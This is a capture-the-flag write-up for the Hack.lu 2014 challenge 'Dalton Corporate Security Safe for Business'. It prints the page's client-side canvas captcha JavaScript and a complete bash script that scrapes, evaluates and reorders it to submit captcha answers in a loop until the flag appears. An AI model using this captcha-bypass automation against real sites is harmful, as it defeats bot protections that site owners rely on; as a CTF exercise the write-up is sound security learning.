Hack.lu CTF 2014 - Dalton Corporate Security Safe for Business (200pts) writeup

The challenge description was: The Dalton Brothers are tricking people into buying their “safe” locks. So they can rob them afterwards. The lock has some safety features, as it resets itself after a few seconds. It also requires a lot of valid inputs before it's letting you open it. Please find out what their weakness is and report back. https://wildwildweb.fluxfingers.net:1422

The web page looked like this:

Hack.lu CTF 2014 - Dalton Corporate Security Safe for Business (200pts) writeup - 01

There is a tiny captcha generated over a HTML5 2d canvas, and 3 locked links. If we enter the correct captcha we get a "Good . Let's continue !" message, if not we don't get any output and the page is asking for a new captcha to validate.

The good thing about this is the captcha being generated on the client side in HTML5 instead of a picture, this means we can certainly find out the value of said captcha.

After looking at the source of the page we can see some minified javascript at the bottom, adding a newline after each semi colon gave us the following javascript:

var f = c.getContext('2d');
var h = f.createLinearGradient(0, 0, c.width, 0);
h.addColorStop('0', '#3878d2');
h.addColorStop('1.0', '#6d39c0');
f.fillStyle = h;
f.font = 'italic 10px arial';
var j = String.fromCharCode(99);
f.fillText(j, 25, 19);
var n = f.createLinearGradient(0, 0, c.width, 0);
var j = ([][+[]] + "")[3];
n.addColorStop('0', '#b975c9');
n.addColorStop('1.0', '#8a7ae3');
f.fillStyle = n;
f.font = 'italic 13px Gerogia';
f.fillText(j, 65, 15);
var j = f.createLinearGradient(0, 0, c.width, 0);
var k = atob('Yw==');
j.addColorStop('0', '#f50dd8');
j.addColorStop('1.0', '#7aa622');
f.fillStyle = j;
f.font = 'italic 15px arial';
f.fillText(k, 40, 15);
var k = f.createLinearGradient(0, 0, c.width, 0);
k.addColorStop('0', '#70a46a');
k.addColorStop('1.0', '#725440');
f.fillStyle = k;
var r = String.fromCharCode(98);
f.font = 'bold 12px Gerogia';
f.fillText(r, 34, 19);
var w = f.createLinearGradient(0, 0, c.width, 0);
w.addColorStop('0', '#d009a2');
w.addColorStop('1.0', '#45b28f');
var v = String.fromCharCode(49);
f.fillStyle = w;
f.font = ' 11px helvetica';
f.fillText(v, 3, 18);
var e = f.createLinearGradient(0, 0, c.width, 0);
e.addColorStop('0', '#6cfc17');
var r = String.fromCharCode(48);
e.addColorStop('1.0', '#535a43');
f.fillStyle = e;
f.font = 'italic 13px courier';
f.fillText(r, 53, 20);
var o = f.createLinearGradient(0, 0, c.width, 0);
o.addColorStop('0', '#1a4b51');
o.addColorStop('1.0', '#1f739d');
var u = /6/.source;
f.fillStyle = o;
f.font = 'italic 11px geneva';
f.fillText(u, 71, 20);
var l = f.createLinearGradient(0, 0, c.width, 0);
l.addColorStop('0', '#e4c75c');
l.addColorStop('1.0', '#fa0420');
f.fillStyle = l;
f.font = 'bold 12px wingdinds';
var u = /2/.source;
f.fillText(u, 14, 20);

Refreshing the page a couple times shows that this script is randomized, the variable name will change, the way the captcha letters are generated will change as well but it still follows a pattern giving us the possiblity to parse it ourselves and get the value of the captcha.

We need to follow a couple steps in order to do this:

  • get the page
  • keep only the javascript at the bottom
  • beautify the script
  • run the script in a javascript engine and save the letters
  • save the order of the letters using the X value of fillText
  • build the captcha string with the letters and order
  • send captcha to the page
  • if we unlock one of the 3 links add it to the URL to get the captcha
  • loop until we get our flag

I decided to go with bash scripting, you might wonder "Why bash?" which is a reasonable thing to ask and I may answer "Because it's fun?". While not really hard to pull off it was still a bit challenging and I liked that fact.

This is the script:

#!/bin/bash
# Dalton's Corporate Security Safe for Business

URL="https://wildwildweb.fluxfingers.net:1422/";
LOCK="";

# LOOP UNTIL WE GET THE FLAG
while true;
do

# GRAB PAGE
curl -s -S -k -c cookies.txt -b cookies.txt $URL$LOCK > index.html;

# GET CHARACTERS AND STORE THEM IN pass
# WHILE LOOP DECODES BASE64 VALUES BECAUSE JS HAS NO atob() SUPPORT
tail -c 1545 index.html | head -c -26 | sed 's/;/;\n/g' | grep 'var' | grep -v 'create\|getCo' | \
sed -e 's/^var\ [a-z]=//g' | sed -e 's/;$//g' | sed 's/atob/print/g' | js | grep -v 'js>' | sed 's/"//g' | \
while read -r line;
do
if [[ "$line" =~ "=" ]] ;
then
echo -n "$line" | base64 -d | sed 's/$/ /g';
else
echo -n "$line ";
fi
done > pass;

# GET CHARACTERS ORDER AND STORE THEM IN charorder
tail -c 1545 index.html | sed 's/;/;\n/g' | grep fillText | tr ',' ' ' | awk '{print $2}' | tr '\n' ' ' > charorder

# BASH ASSOCIATIVE ARRAYS
# ONE ARRAY WITH THE CAPTCHA LETTERS SHUFFLED
# ONE ARRAY WITH THE ORDER THEY SHOULD HAVE BASED ON THEIR X VALUE
IFS=' ' read -a CARR < pass;
IFS=' ' read -a CORD < charorder;

# ARRAY SIZE 0 == WE FOUND OUR FLAG NO MORE CAPTCHA TO PARSE
if [[ "${#CARR[@]}" -eq 0 ]]; then
cat index.html;
exit 1;
fi

# IF BOTH ARRAYS HAVE SAME SIZE AND CONTAINS 8 ITEMS BUILD SOLUTION
# BUILD ASSOCIATIVE ARRAY 'SORTED' AND STORE X POSITION AS INDEX AND CAPTCHA LETTER AS VALUE
# STORE X POSITION IN 'KEY' ARRAY SO WE CAN SORT IT AND BUILD THE PROPER CAPTCHA BY PICKING SORTED[KEY]
if [[ "${#CARR[@]}" -eq "${#CORD[@]}" && "${#CARR[@]}" -eq 8 ]]; then
declare -A SORTED
KEY=""
for i in {0..7}
do
SORTED[${CORD[$i]}]=${CARR[$i]};
KEY="$KEY${CORD[$i]} ";
done
fi

# SORT KEY ARRAY
# CREATE CAPTCHA STRING WHERE WE WILL STORE OUR PARSED CAPTCHA IN THE PROPER ORDER
CAPTCHA=""
IFS=', ' read -a FINAL <<< $(echo $KEY | tr ' ' '\n' | sort -n -k1 | tr '\n' ' ');
for a in "${FINAL[@]}"
do
CAPTCHA="$CAPTCHA"$(echo -n "${SORTED[$a]}");
done

# SEND SOLUTION
#echo "sending captcha: ${CAPTCHA[@]}";
curl -s -S -k -c cookies.txt -b cookies.txt -H 'Content-Type: application/x-www-form-urlencoded' \
-A 'Mozilla/5.0 (Windows NT 6.1; WOW64; rv:32.0) Gecko/20100101 Firefox/32.0' -H \
'Referer: $URL$LOCK' -d "solution=$(echo -n ${CAPTCHA[@]})" $URL$LOCK > reply.html

# WHEN A LOCK IS BROKEN WE GET A ?login= URL ADDRESS, GREP IT AND APPEND TO THE URL
NEWLOCK=$(echo -n $(grep '?login=' reply.html | cut -c 24- | rev | cut -c 47- | rev));
#echo $NEWLOCK;

# IF NEWLOCK IS NOT EMPTY, REPLACE LOCK WITH THE NEW ADDRESS
if [ -n "$NEWLOCK" ]; then
LOCK="$NEWLOCK";
NEWLOCK="";
fi

# DEBUGGIN PURPOSE WE WANT TO SEE WHERE THE SCRIPT IS GOING
echo $URL$LOCK;

# STILL NOT FOUND? KEEP ON PARSING CAPTCHA
done

One of the annoying thing I encountered is that apparently no terminal javascript engine supports base64 decoding (the atob method), I tried a couple of them and ended up piping the output to the base64 command.

I certainly could have skipped the double call to get the page since after sending the captcha the result contains a captcha as well, but the challenge didn't seem to reset the "counter" of good answer each time you asked for a captcha. So I kept it like that in case the result or the new index had a flag in it.

If the captcha array was empty or invalid I would check the index.html which may contains a flag or another page to check out.

This was the output after running the script:

mrt:~/hack.lu/dalton_cssb$ ./captcha.sh
https://wildwildweb.fluxfingers.net:1422/
https://wildwildweb.fluxfingers.net:1422/
https://wildwildweb.fluxfingers.net:1422/
https://wildwildweb.fluxfingers.net:1422/
https://wildwildweb.fluxfingers.net:1422/
https://wildwildweb.fluxfingers.net:1422/
https://wildwildweb.fluxfingers.net:1422/
https://wildwildweb.fluxfingers.net:1422/
https://wildwildweb.fluxfingers.net:1422/
https://wildwildweb.fluxfingers.net:1422/?login=rRrtTE0WYFh5bVHToYQwKyvP
FLAG :D :D fef9565c97c3a62fe10d2a0084a9e8179d72f4a05084997cb80e900d1a77a42e3

We got our flag:

fef9565c97c3a62fe10d2a0084a9e8179d72f4a05084997cb80e900d1a77a42e3